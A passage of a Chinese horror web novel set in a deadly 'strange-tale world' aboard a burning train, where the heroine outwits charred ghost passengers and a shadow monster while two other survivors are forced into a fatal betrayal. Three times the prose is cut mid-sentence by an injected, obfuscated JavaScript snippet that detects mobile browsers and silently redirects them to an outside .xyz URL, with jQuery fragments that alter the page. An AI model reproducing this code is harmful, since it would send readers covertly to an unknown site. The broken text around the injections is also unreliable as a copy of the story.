“没关系,我们只是给你看看路况。说不定它们根本不会在意我们。”今浅说完,便挺着骨折的手,率先走进那节车厢。 闻啼也一米六一米八地走进。 陶依突然感觉有风在吹自己的后脑勺。 她回头,但身后车厢的车厢空无一物。 陶依心一横,脖子一歪,扮鬼脸,抬起双手,像僵尸一样蹦蹦跳跳入场。 一进这间车厢,几人便感觉到了一股热浪。 他们假借着众焦炭人正在□□,低头快步。 “好热闹啊。”今浅余光四瞟,感叹道,“果然书上说的没错,热情似火。我现在就感觉有一股火在炙烤着我的面庞。” “你面前真的有一团火。”闻啼眼疾手快,把今浅往自己身后一带。 今浅刚才的位置,前方正好站着一个全身镂空的焦炭人。它心脏处有一团正在跳动的火焰。 如果今浅没有被闻啼拽回去,那么她就将感受到焦炭人的不灭心火。 “看来是在告白。”闻啼瞥了一眼那名焦炭人手中的动作,说,“不然,这团火焰怎么可能会跳得这么旺盛。” “不,它这是打游戏输了。”今浅说,“打游戏上头了,心火中烧。” 闻啼半信半疑。 下一秒,那位焦炭人愤恨地放下手机,抱头痛哭。它哭不出眼泪,所以漆黑的炭渣一点一点地掉落。 与此同时,它心里的火也瞬间熄灭。 “游戏……赢不了……好难……呜呜呜……” 闻啼:…… “看来它们是在重复自己生前的动作。”陶依分析着,趁机换了个歪头的方向。 “说不定我们能听见一些信息。”闻啼说。 今浅想了想,说:“那我们走得慢一点。” 几人放慢速度。 焦炭人几个正在聊天。 “哎,这辆火车可太先进了,啥都是自动的……不过,这安全吗?” “放一百个心吧,高科技,怎么能不让人放心?就算出事了,它也一定能自动把我们救出来。我们只需要安心等待它起作用。” “可是如果真出意外了……” “那外面也肯定会有人会帮忙的。他们怎么可能又抛弃我们呢。” 对话到这里就截至了。 今浅没留意,差点撞上了前面的焦炭乘务员。 焦炭乘务员手忙脚乱。 整个车厢的乘客都在找它帮忙,往往这边话还没说完,那边就有的说法。 即便只是“帮忙挠痒”这种小事。 身为好心的乘务员,它可不能拒绝。 现在,有位焦炭乘客正找乘务员拿毯子。 那名乘客的位置离乘务员太远,而挡在乘务员前的乘客都无法离开——它们身体的各个关节藕断丝连,好像轻轻一碰,就会支离破碎,全身垮掉。 “我帮你吧。”今浅正好站在乘务员和那名乘客中间,顺手想帮乘务员接过毯子递给乘客。 “很重的,要两只手才能拿,你一只手,可能……”乘务员话还没说完,就见今浅单手将毯子接住,递过去了。 “诶?”焦炭乘务员疑惑。 这种毯子的重量,对于它们焦炭人而言,可是万分沉重的。 今浅顺手再帮乘务员拿东西分发给其它焦炭人。很快就解决了乘务员手中的问题。 一时间包厢内安静下来。 焦炭乘务员向今浅道谢,突然地开口:“你说,为什么火车叫火车?” 今浅想了想,说:“因为火车是烧炭的,烧炭会生产气体,简称生气,生气容易发火,所以叫火车。” 正准备正经回答的闻啼自叹不如。 正期待正经回答的陶依无言以对。 按理来说,解决了乘务员这件事,三人应该很轻松就能离开。 可接下来,只要他们表现出想要离开的打算,车厢内就会莫名其妙有人叫住他们,让他们帮忙。 次数多了,他们也察觉到不对。 “它们好像是故意的。”闻啼皱眉,“故意想拖延时间,让我们留下了。” “我们得早点离开这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069207|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”今浅说,“不知道是不是我的错觉,我觉得我浑身的骨头都变得酥脆起来了。” “我也一样。”陶依拉起衣袖,漆黑的烧痕像蛇一样蔓延至她的手臂。她凝重地说,“在这里呆太久的话,我们会被同化的。” “我有一个大胆的想法。”闻啼尽量忽视四周焦炭人投向他们几人的视线,说,“有没有可能,它们其实早就知道了我们不是人,所以,才拖时间让我们留下来。” “它们智商这么高的吗?”陶依震惊。 “是呀,它们就是想吃掉我们。”今浅说,“据我观察,焦炭人什么都吃,唯独不喝水。” “这说明什么?” “说明焦炭人缺水。”今浅说,“书上说了,人体有70%都是水分。缺什么补什么,所以它们一定会吃我们。” 大家沉默。 今浅叹气:“看来我还是没有讲笑话的天赋。” 闻啼安慰:“没事,你有冷场的天赋。” 陶依说:“当务之急,是想办法离开吧。” “很简单。”今浅说,“那就用穿过时间的画面的钟,从反方向开始移动吧。” 陶依:? 陶依说:“叽里呱啦地说什么呢。” “她是想说,既然顺着时间的发展,我们会慢慢被同化,那么我们把时间逆转,就不会被同化了。”闻啼恍然大悟,但又迟疑,说,“可是,我们哪里找到反方向的钟?” “这里。”今浅不知从哪里掏出一个巨大的怀表,说,“我刚刚找乘务员借来的。” “噢!怪不得你会去帮助乘务员。”陶依说,“我还以为你是天生热心肠,见谁都愿意帮一帮呢。” “那必须的,我可是根正苗红的好青年。”今浅手中动作不停,逆时针转了几圈钟表发条。 车厢内的焦炭人果真都昏昏欲睡,连同焦炭乘务员。 他们顺利来到出口,没有任何阻拦。 “我们走吧。”陶依迫不及待地想要离开, “等等。”今浅说,“我还有事情没做完。” “什么事情?”陶依疑惑,“明明没有焦炭人找我们呀?” “我要把这个钟表还回去。”今浅举起手中的钟表示意,转身准备回去。 “为什么呀?”陶依有点着急,拦住她,说,“正好,有了这个法宝,我们就不怕接下来的麻烦了!” “书上说了,有借有还,再借不难。”今浅回头,说,“不是我的东西,我就不能霸占分毫的。” 陶依沉默。 闻啼惊讶地看着今浅。 “没事,你们两个可以都呆在这里。”今浅拍拍陶依拉住自己的手,说,“我很快的,不会耽误时间。” “我陪你去吧。”闻啼温声说,“如果遇到危险,你旁边还会有人照应。” 即便他一米八八的身高,目前只能发挥一米六的能力。 “好吧。”陶依拗不过两人,只能跟着他们一起,回去车厢。 今浅把怀表放在正在沉睡的焦炭乘务员旁边,轻声道谢:“谢谢,东西还给你。” 不知道是不是今浅的错觉,她只觉得焦炭乘务员的表情好像柔和一些。 几人正准备离开,突然,车厢内传来了小轮子滚动的声音。 “不好。”陶依脸色大变,“那只影子怪物来了。” 他们现在在车道处,周围没有任何可以挡住头顶灯光的东西。 这意味着,他们将直面影子怪物。 12. 第 12 章 谭迟和冯涛躲在阴影处,打量着来人。 那人衣着褴褛,佝偻着腰,看起来鬼鬼祟祟的。 站在谭迟和冯涛的角度,他们可以清楚地看见,这个人悄悄进了厕所,半晌后,推开门,从缝中东张西望,见没人后,才推门而出,快步离开。 “那是……梁团?”冯涛认清是谁后,震惊,“他不是死了吗?” “可能有防身的东西吧。”谭迟说。 两人蹲在角落。即使花旧笑没有出现,他们俩也不敢怠慢,用断掉的衣摆浸湿后捂住口鼻。 冯涛蹲得腿麻,又不敢轻易移动,闲着没事儿,就开口:“话说,如果我们能平安出去,你想干什么?” “平常过吧,就当捡回一条命。”谭迟说,“毕竟从这里出去,既不会一夜暴富,也不会让所有讨厌的人消失。而如果无法成功出去,死相会很难看,而且大概率会被认为是自杀,连保险都陪不了。” 说得不好听点,所有被怪谈世界选中的人,都是怪谈世界的小零食罢了。 死,只是早晚的事情。 “你呢?”谭迟瞄了冯涛一眼。 冯涛顿了顿,道:“如果我能出去,我一定会再看看我的家人。之前一直为了工作,而忽视了他们。” “你很爱他们?” “当然。”一提到家人,冯涛神情柔和,说,“我那些工作可都不是人能干的。如果没有他们,我早就坚持不下去了。” 谭迟拍了拍他的肩膀。 冯涛像是突然想起什么,凑到谭迟面前,说:“厕所门是可以打开的。我还以为每个通道处挂着黄牌子的厕所都不能用。” 谭迟摸着下巴,说:“在怪谈世界,每个新空间几乎都会刷新一只‘鬼怪’。你就不怕厕所里有怪物吗?” “反正我们都是要骗它的,要不我们把它骗进厕所,然后锁门?”冯涛说,“如果厕所里有怪物,那么它们就会暂时打斗,无暇顾及我们。如果没有,那也把它关进去,至少能拖延一点时间。” “听起来还挺不错的。”谭迟说,“我们就骗它,说里面有给它精心准备的尸体。” 两人商量着对策,突然间,听见身后有一阵轻笑。 “你们要锁我,对吗?” 是花旧笑。 两人顿时僵住,随后冷汗直流。 他俩只顾着讨论怎么应对方法,不知道花旧笑什么时候来的,也不知道它听着他们的讨论,听了多久。 两人相视一眼,缓缓起身。 冯涛支支吾吾地,正不知道怎么解释:“怎么会?我们……我们很,很爱你啊。” “我可没听说过,锁住一个人,是爱的表现。” “那可能是因为,你不了解人类之间的爱。”谭迟推了推眼镜,说,“我们锁住的不光是你,还有你的心。这样你就不会乱跑,眼里只有我们。我们也不会因为你眼里有别人而陷入深深的崩溃。正所谓,爱是独占。” 冯涛被这番言论震惊得说不出话,只能默默地向谭迟点赞。 他还是老了,论胡话程度,比不上现在的年轻人。 花旧笑沉默片刻,说:“你们人类的爱,可真够变态。” “那正好,咱们不就天生一对了么。”谭迟说,“有的看起来是人,实际上内心住满了怪物。而有些怪物看起来凶神恶煞,但是内心却是正直的人类。” 花旧笑不再开口,像是陷入沉思。 谭迟给冯涛使了个眼色。 冯涛意会,小心翼翼地挪动步伐,悄悄去厕所开门。 谭迟说:“亲爱的,我特地为你准备了一份你最爱吃的大餐,你想不想吃?” “难道是那个阴了我一把的女人?”花旧笑怀疑,“你为了我,把她杀了?” “因为我已经迫不及待地想像你证明我对你的爱意了。”谭迟说,“难道是这份礼物太过廉价,不能取得你的心意吗?” “我还是不相信,你是真的爱我。”花旧笑并不上当,“既然你们爱我,那么我说什么,你们都会做,对吗?” 有了今浅暗算它的前车之鉴,花旧笑现在对这些事情万分敏.感。 谭迟顿了顿,他看向正在开门的冯涛,后者冒着冷汗,察觉到他的视线后,对他摇摇头。 厕所门就像是被什么焊住了一样,冯涛拼尽全力也无法将其打开。 “当然。”谭迟顿了顿,说,“不过,我们是不会互相厮杀的。” 还没等花旧笑说话,谭迟就迅速补充道:“因为我们已经商量好了,要共同占有你。” “你刚才说了,爱是独占。” “但如果独占的结果很有可能会失去你,那么我们宁愿互相妥协,间接性地拥有你。”谭迟说,“比起独占,我们更害怕失去你。这就是,隐忍的爱。” 谭迟说得一套一套的,竟然真把花旧笑糊弄住了。 “门开不了。明明刚才梁团很容易就进来了。”冯涛走过来,低声说:“不过,没想到你如此能说会道。” 看样子,他们不需要把花旧笑锁进厕所,也能拖延一部分时间了。 “毕竟是法医,也会跟着查案子。”谭迟解释,“见得多了,自然就什么都知道了。” 两人小声说话,正好,花旧笑若有所思:“你说得很对,我确实不能用互相厮杀,来检验你们的爱意。” 两人松了口气。 “但是,你们也必须做点事情。”花旧笑说,“我必须要查出,你们对我的爱,是否真诚。” 两人的心被吊起来了。 “这样吧。”花旧笑看着两人,微笑,说,“你们俩,先做100个俯卧撑吧。” 谭迟和冯涛:…… ——— “卖……零食……了……”贯通道处,卖零食的焦炭乘务员机械般地吆喝着。 “早知道,我们就不还闹钟了。”陶依急了,“这下,我们横竖都是死。” “不。”今浅说,“钟表还是要还的。” “你还惦记着你那‘根红苗正’的三观?”陶依冷笑,“真没想到,为了你口中虚无缥缈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069208|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘正直’,现在导致无辜的人也要死掉。今浅,你还安心吗?” “你没发现么?影子怪物来得很快。”今浅看着陶依,说:“如果我们没还钟表,而是直接走掉,也一样会遇见影子怪物,甚至是在前面空荡荡的贯通道。刚才我看了,通道只有挂着黄牌的厕所,没有乘务室。这意味着,我们会直面影子怪物,不像现在这样,还有讨论的时间。” “……拿着钟表走,也没什么问题啊。”陶依说,“再用钟表,把影子怪物拨回去,不一样也能解决问题么。” “首先,影子怪物明显是寄生在那位焦炭乘务员身上的。它的规则和焦炭乘务员的规则有交集,但又有区别。它们是两个物种。你无法判断,这个对焦炭人有用的钟表,是否对影子怪物有用。”今浅说,“再者,如果下个车厢、下下个车厢碰见了焦炭乘务员,那我们不就会被它通缉么。” 陶依沉默片刻后,低声道歉:“对不起,我刚才只是太着急了……” 她没考虑这么多。 “没事。”今浅说,“想得没我多,你无需自卑。” 毕竟,她可是花了3.5元,得到超高的250智商水平,碾压全球99.9%的人。 今浅宽容每个没她智商高的人。 “现在已经不是自卑不自卑的问题了,我们还是想想,如何应对这个影子怪物吧。”闻啼指着影子怪物,说,“它很快就要进来了。” “没关系,进来了正好,我有办法。”今浅看着来者,说,“就让它看看,团结的力量有多么强大吧。” “……你想的办法,就是跟它拼了?”陶依说,“听起来很不错呢,在我们临死前,还能给怪物填饱肚子。这何尝不是一种物尽其用。” “谁说我指的是我们一起上?”今浅奇怪地看了一眼陶依,说,“这是焦炭人它们内部的私事,与我们无关。” 在焦炭人眼里,它们只看见自己的乘务员,被其它怪物“寄生”。 从先前焦炭人齐心协力地刁难他们中,不难看出,它们有多么地团结。 “嘘……它们醒了。”闻啼低声说。 谁知,这些焦炭人只是动了动眼皮,翻了个身,看起来没有任何攻击今浅等人的打算。 “它们怎么……”陶依愣了。 这么好的时机,这群焦炭人居然不攻击他们。 “可能是我们刚才帮了它们。虽然只是一些微不足道的小事,但这却让它们知道,也是有人愿意认真地对待它们的需求。”今浅说,“书上说了,you‘didadida’me,i''hualahuala''u。我们对它们好,它们便会加倍对我们好。” “这英语,你是认真的吗?”陶依扶额。 “唉,有口音也是没有办法的。”今浅叹气,说,“毕竟我是在乡下念书,从没听过标准的英语口音。” “那我们现在做什么?”闻啼说,“就这么站在这里,啥也不做?” “我们要做的,就是引诱处影子怪物。”今浅说,“等待影子怪物上勾。” 13. 第 13 章 车轮滚动的声音,就像催命的号角。 今浅等人站在中间,没有移动。 旁边的焦炭人却隐隐暴动,看向他们的视线,逐渐变得虎视眈眈。 不时,有几个焦炭人装作不经意的样子,向他们伸手,意图吃掉它们。 “这……这不对吧。”陶依咽了咽口水,揣揣不安,“它……它们刚才不是还对我们视而不见么?” “可能是因为,时间到了。”今浅虽然断了一只手,但是身手还算了得,躲避了几个焦炭人无意义的扑击后,说,“看来我们对它们的诱惑力远远大于它们的团结力。” “我觉得,可能是它们觉得自己的力量敌不过影子怪物,想吃掉我们,换取能力。”闻啼费力地移动身形,好在“睡眠”状态的焦炭人也不是很灵活。 他说,“影子怪物可是吃掉了一个张兰兰。” “不是还有范肖吗?”陶依说,“那个骗子道士的表弟。他也死了。” “两人的死样不一样。”今浅回想了下,说,“范肖可能是被花旧笑,或者花旧笑的同伴,焦炭人,吃掉了。” “你怎么知道的?”陶依说。 “恨简单,范肖的身体的血管是非常完整的。” “这又能说明什么?” “说明吃它的人不喜欢喝水。而在我们目前见到的这些鬼怪里,只有焦炭人是缺水的。它们缺水,肯定是因为偏食,正好满足了我们以上的推断。” 陶依哑口无言。 正说着,影子怪物已经坐着小推车,进入了这节车厢。 “人类……我闻到了人类的味道……哈哈哈……” 消化掉一个张兰兰的影子怪物明显力量比之前还要强大。 三人在影子怪物进来的瞬间,就闭口不言。 可这都能被感知到。 影子怪物从小推车里离开,漆黑的身影在地上、墙上、天花板上到处游走,摸索着通向人类的路线,嗅着空气中人类的影子味道,迅速逮到一个和桌椅气味明显不同的影子。 这肯定……就是人类! 影子怪物狂喜,迫不及待地咬了一口。 然而,它只感觉满嘴的渣子。 不像是人类的。 影子怪物刚才吃掉了一个人类,所以非常清楚人.肉的口感。 这个,更像是…… 影子怪物细细品味,只觉似曾相识。 突然灵光一闪,影子怪物终于想起像什么了。 像是它刚寄生在焦炭乘务员时,吃掉的焦炭乘务员影子。 影子怪物:…… 它不会吃到了焦炭人吧。 影子怪物心里生出了一丝古怪的感觉,这种感觉让它非常不妙,但是影子怪物固执地认为,这是它的错觉。 它记得很清楚。一般焦炭人集聚的车厢,都会聊天说话,而这节车厢没有。 这节车厢明显有人类的味道,它可不会吃错。 影子怪物有时也会悄悄舔一下焦炭人的影子,但是是在即将离开这节车厢之时。 焦炭人的影子味道跟它们的生平一样,苦涩到掉渣,口感差到就像是拿着硬毛刷在舌头上反复摩擦。 影子怪物一向是讨厌这种味道的。相比于鲜美的人类,这些焦炭人的影子就像是被时代淘汰的劣等品,恶心到令人发昏。 但是,焦炭人又额外地团结。只要同类被伤害,它们就会毫不犹豫、不分青红皂白地攻击罪魁祸首。 影子怪物虽然馋,但它还是有智商的。 它能打过一个焦炭乘务员,可不一定能打得过一群焦炭人。因此长期以来,它都是本着进水不犯河水的宗旨,潜藏在焦炭乘务员之下,按兵不动,偷偷发育。 可为什么,它今天会吃到焦炭人的影子?! 影子怪物心道不妙,迅速离开,想闪回自己的小推车,然而回到小推车的必经之路全都被不明生物,或者说,焦炭人,堵得水泄不通。 “咦,异类?”影子被舔了一口的焦炭人微微歪头,空荡荡的眼眶落在地上乱窜的影子怪物。 旁边的焦炭人逐渐起身,不再关注今浅三人,而是围着地上的影子怪物。 影子怪物四处碰壁,着急的同时,索性破釜沉舟,突然尖声:“不要以为我是好欺负的!” 它可是刚刚吃掉了一个人类! 车厢内顿时一片混乱。 没有任何怪物注意到,今浅三人偷偷离开了这节车厢。 几人走出贯通道,停下脚步,看着面前的这节车厢。 这节车厢是硬座,里面仍然坐满了焦炭人。 但是和刚才车厢不一样的是,这些焦炭人挺直腰板,有节奏地敲击着窗户。 “笃……笃……笃……” 如果它们每个人敲打的节奏不同,那么他们还可以安慰自己,这只是它们心血来潮,想敲玻璃了。 可是每个焦炭人的节奏都是一样的,细微的玻璃声和谐且同一,就像只有一位焦炭人敲击的一样。 “它们节奏感还挺好的。”今浅听了听,说,“感觉会是玩乐队的高手。” “玩不玩乐队先放在旁边。”陶依扶额,神情凝重,说,“我总觉得接下来的路,会很难走。” “路确实很难走。”闻啼扶着墙,说,“在我腿好的时候,我从来都没有想到,未来有一天,路会难走到我会搀扶着墙走路。” “要不我扶着你?”今浅说,“我想了想,放任一个腿脚不好的青年扶墙陪我走了这么长的路,我很愧疚,良心实在是不安。” “如果你良心真的不安,你就不会现在才想起来这件事,现在才感到愧疚。”闻啼说, “那你得给我个机会,让我证明自己的惭愧是真的。”今浅真诚地说。 闻啼婉拒:“算了吧,我怕把你当拐杖使了。” “你一会儿一米八八,一会儿一米六八。一米六八的时候,咱俩其实也没太大的区别。”今浅说。 “其实你怕了吧。”闻啼说。 别以为他没看出来,今浅会说出这种话,只是看见了前面的异常过于异常。 “人固有一怕,怕是很正常的。我可是人,自然也不能避免。”今浅说。 “那我们……”陶依左看看,右看看,不知如何是好,“打道回府的话,我们背后的焦炭人和影子怪物还在等着我们。” 说不定,它们还打成了什么“战时同盟”,一起联合,埋伏他们一手,进行攻击。 “当然是,继续往前走。”今浅理所当然地说,边说着,她边回忆着之前谭迟的手法,“咔擦”一声,吧自己的骨头复位了,“走都走到这儿了。” “可你不是害怕吗?”陶依很意外。 “如果只因心中的害怕,而一直徘徊不前,那么不就正好中了让我感到害怕的人的下怀了么。”今浅说,“书上说了,让敌人不如意,自己就会如意。我可不能让我的敌人如意。” “可是……”陶依憋了半天,说,“如果一不小心出了差错,我们就会死掉,死亡总得很害怕了吧……” “难道我们被选入怪谈世界,这些鬼怪的目的是让我们出去吗?”今浅说,“显然不是,我们都是它们的小零食。也就是说,无论我们做什么,哪怕什么都不做,我们最后的结局,都是一个字,死。” “……既然死亡已经注定,那我们为何还要来到这里。”陶依说,“我们乖乖地躺倒在地,等待鬼怪吃掉我们,不就好了么。” “那是因为,人类文明的底色,从来不是躺平。”今浅直视陶依的双眼,缓缓说,“是抗争。” 抗争虚无缥缈的命运。 抗争早已注定的结果。 人类文明如若真的甘愿躺平,那么早就在历史的不知名角落里躺倒在地,一蹶不起,在时间的长河里无影无踪。 人类文明相信的,从来都不是摊开时手掌的纹路,而是握紧手掌,将命运攥在手心里的自己。 陶依沉默。 “要是我能早点认识你就好了。”闻啼感叹,“没想到你居然还能说出这样的话。” 在他的整个人生里,他还从来都没有遇见过像今浅这样,特别的人。 “现在认识也不迟。”今浅甩了甩手,确定没啥大事后,看向陶依,说,“所以,你还走吗?” 陶依顿了顿,无奈地说:“你都说出这些话了,我怎么可能不走。” 三人走进了车厢,这些诡异的焦炭人依旧敲着玻璃,但是脖子却僵硬地扭转,空洞的眼眶落在走在中间车道上的三个人。 好在,它们只是看着他们,一动也不动。 “还以为它们有多厉害。”闻啼说,“看来只是纸老虎而已。” 他们穿过了几节车厢,依旧顶着这些诡异焦炭人的视线,顺利地来到火车头。 然而,火车车门无法打开。 “周围也没有什么机关。”闻啼看了一圈,有些头疼,“怎么感觉,这门就像是焊死在火车上的。” “能不能砸开?”今浅问。 “砸开的话……得要很大的力气。”闻啼说,“如果我腿还好的话,可能能试一试。” 可是他现在连站都站不稳,更别提什么,发力砸门了。 “没事,我能来。”今浅说,“我妈以前说我一天到晚,有使不出的牛劲儿。” 都能拿牛来跟她类比,今浅相信,这一定是在夸自己,力气很大。 她环顾四周,从角落里捡起了一个棍子。 闻啼正打算提示今浅,这跟棍子可能很难击穿这扇门,却不曾想,下一秒,门被砸出了一个深深的坑。 闻啼:……? 敢情“牛劲儿”不是类比,是写实啊。 今浅又试了几下,几乎已经要把门砸出了一个小小的口子。 “不好,今浅,那些焦炭人动了。”陶依急声说,“你快点呀。” “没时间了。”闻啼看着不知道什么时候,活动身体,靠近他们的焦炭人,心道不好。 现在不能让任何人打扰今浅开门。 闻啼咬紧牙关,酿跄地扶着墙,往焦炭人群那边走。 他顺手抄起地上的碎扶手,一边挥舞着,让焦炭人后退,顺便吸引焦炭人的仇恨,一边朝今浅说:“今浅,你放心去开门,这边我和陶依帮你顶着。” 陶依也抄起地上的椅背,权当作防身的武器,一个劲儿乱挥,说着:“是啊,你就放心交给我们吧。” 今浅咬着牙,加大手上的力度。 ———— “高抬腿,三百组。”花旧笑在冯涛和谭迟停下来,还没来得及喘口气的时候,幽幽靠边。 两人已经累得上气不接下气。 冯涛默默吐槽,说:“这怕不是在捉弄我们俩吧。” 花旧笑故作惊讶地回答:“当然啦,你怎么现在才知道呀。” 冯涛心一惊,猛抬头。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078585|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实,我从来都没有说过,傀儡听我的命令,是听我说出来的话。”花旧笑说,“我可不会再这么蠢,轻而易举地相信你们。” 傀儡听的,从来都是它心里的指令。 而它刚才下的指令,从来都不是这些体能训练,而是—— “啊——不可能!”冯涛捂住自己断了一截的手,痛苦哀嚎,“明明我没闻你的花香,你怎么就……” “因为,我的实力增强了呀。”花旧笑十指交叉,歪头,“上一次,是闻到花香。但这一次,就多了个能力,听见我的声音。” “听见我的声音越久,你就会越容易被我操控。”花旧笑看着冯涛如此痛苦,又看着旁边脸色发白,一言不发的谭迟说,“你应该很早就清楚了吧。” “你的能力绝对不是让人爱你。”谭迟说。 “是因为你心中存在恨意吗?”花旧笑说,“爱和恨是相伴相生的,不是么?” “不。”谭迟尽管断了一只手,但看起来依旧冷静,“你只是把这个行为伪装成爱而已。但这其实并不是爱,而是不让人背叛。” “……” “沉默了,那看来我说对了。”谭迟说,“那是什么让你不想让人背叛呢?” “够了,你不要再说了。”花旧笑脸沉下来,“将死之人,是不应该知道这么多的。” “求你了,求你了,我不想死。”冯涛一把鼻涕一把泪的,蹲在地上苦苦求饶,“对不起,我错了。我不应该跟他们一起,联合起来欺骗您的。” “你倒是没有他那么识相。”花旧笑顿了顿,说,“不过,看在刚才你说的话上,我决定给你们两个一个机会,如何?” “机……机会?!”冯涛难以置信地抬头,看向花旧笑,迫不及待地说,“可以可以,我答应,我同意。” 只要能让他成功离开,就算让他当牛做马,他也乐此不疲。 “很简单,你们应该知道,怪谈世界只能允许一个人离开。” 花旧笑慢悠悠地说。 “你的意思,是让我们自相残杀?”谭迟一眼就看出了花旧笑心里打着的算盘。 “没想到你真是个聪明人。”花旧笑乐呵呵地说,“是呀,你们两个只能活一个。” 冯涛崩溃,倒在地上。 “你简直就是个疯子!” “疯子,是你们人类的词。很可惜,我不是人类,所以你们骂我的话,我都可以听不见。”花旧笑说,“当然,你们也可以跟我说一说其他的事情,说不定我心软,就……” “一切都是那个女人的错,我只是被逼无奈,被迫上船的。”冯涛急忙抓住这跟救命稻草,说,“我什么都不知道,我是无辜的。您大人有大量,放了我吧。” 冯涛滑跪,迅速饶命,并且交代了他们所有的计划。 “看起来,你很上道。”花旧笑很满意,随手一翻,变出了一个匕首,扔给冯涛。 冯涛喜极如泣,如获至宝般,用剩下的一只手,捧着这根匕首。 他红着眼,站起身,持刀,面向一直沉默的谭迟,说:“抱歉了,兄弟,你这人很好,但是我也有我的苦衷,你也看到了吧。” “你真的要做到这一步吗?”谭迟叹气,说,“说不定,那个女生她真的有办法,能够带领我们一起离开。” “她只是一个小姑娘,知道什么呀?”冯涛红着眼,不由自主握紧了刀,说,“如果不是她乱出主意,我们是根本就不用面对花旧笑,甚至还要失去一只手,遭受如此巨大的痛苦。都是她的错。” “她也没有办法。”谭迟说,“我们都很不幸,被这个怪塔世界所选中。能够活到现在,已经很不容易了。” 冯涛深吸一口气,努力平复自己复杂的心情,他的声音很颤抖,但很坚定,说:“对不住了,兄弟。你对于现实世界,没有任何其他的挂念。可我不同,我有家人,我有孩子,为了他们,我必须得做这一步。” “哪怕是杀人?” “……是的。” 谭迟叹气,不再挣扎。 一个匕首刺穿了他的心脏。 冯涛怕他还没死,又多扎了几刀。 他的眼睛逐渐被红色的血盖住了,而她自己浑然不知。 “你不会真的相信,能活着从怪谈世界出来的人,会这么轻易地相信别人,把自己的真实技能托盘而出吧。”谭迟说。 “什……什么?” “我一直隐瞒了一件事情,我的技能从来都不是大胆。”谭迟笑着说,“具体的就不透露了,隔墙有耳——不过,这些条件都很苛刻,我还正苦恼着,该用什么理由让你伤害我呢。还好,你恰好帮我完成了。” 冯涛还没反应过来,心口突然多了一个破洞。 他酿跄了几步,最终丧失了全部的力气,跌倒在地。 谭迟一直隐瞒着他的技能,没有告诉任何人。 他的技能其实是,“临阵脱逃”。 当在场同阵营的存活数量少于三分之一,且遭遇同伴的背刺时,他便可以用鲜血换来出口。代价时,下次进入怪谈世界的时间会缩短,且难度大幅度提升。 “可惜了。”谭迟惋惜地看向某处,那是今浅离开的方向。 怪谈世界只能活下一个人。只要有一人离开,怪谈世界的出口都会被封死。 这个世界本就是尔虞我诈,每个人用尽全身手段博得利益。 小孩子才会相信天真的诚信、正义和公平。 14. 第 14 章 “砰……砰……砰……” 今浅费尽力气,硬生生凿出了一个洞,尖锐的铁皮向内卷着,正好能供她伸手,去开门。 她不敢耽误时间,伸手进去,扒拉着门把手,开门,钻进去。 火车车头的控制室并不大,很常规,只是两个座位上各坐着一位焦炭人。 和外面生龙活虎的焦炭人不一样,这两个焦炭人安静地系着安全带,双手放在方向盘上,没有任何动静,看起来已经死了很长时间。 今浅把坐在主控台的焦炭人身上系的安全带解掉,刚想移开焦炭人时,手上皮肤一不小心碰到了焦炭人,发出了滋滋作响的声音,就像遇见油锅的烤肉。 今浅下意识收回手,尝试用其他方法把它移开。 好在虽然这个焦炭人双手一直握着方向盘,但是它底下的座位早就松动,可以自由移动了。 今浅就像推超市购物车一样,把焦炭人推到旁边,一不小心把它的双臂弄断。 两只握紧方向盘的手,因为没有支撑,自由落体,啪嗒一声,掉在地上。 不知道是不是今浅错觉,她觉得被移走的这位焦炭人,看向自己的眼神,有些凶恶和怨恨。 “不好意思了,不小心把你损坏了。”今浅心里愧疚,便用手中的棍子把这两只手铲起来,放回这个焦炭人身上。 然而,可能是她的力度太大,这双手不小心掉在地上,然后碎成渣渣。 今浅:…… 焦炭人:…… 现在不是大眼瞪小眼的时候了,今浅顶着,身后焦炭人怨恨的视线,闷不作声地在主控台里倒腾,很快就被她翻找出了一个开火车的小册子。 和小汽车不一样,除了常见的制动器外,火车的方向盘也是控制速度的装置。 顺时针是加速,逆时针是减速。 今浅正准备逆时针旋转方向盘时,旁边副驾驶座的焦炭人突然开口:“不要减速。” 今浅不语,只是一昧加快旋转方向盘,的速度。 “不要减速。”焦炭人有点着急了,它说,“减速了,我们会死。” “要的就是你们死。” “你们人类也会死掉的!” 今浅手中动作一顿。 焦炭人见有效,继续说:“你知道为什么火车叫火车吗?” “为什么?” “因为火车要在前进的时候,才会有火。如果你不让它前进,那么火车就不是火车了。”焦炭人说,“不是火车的下场,你是见过的——那些已经漆黑的车厢。” 或者说,独属于死人的车厢。 今浅说:“可是火车继续奔跑,会烧完车厢,我们也会死掉。” 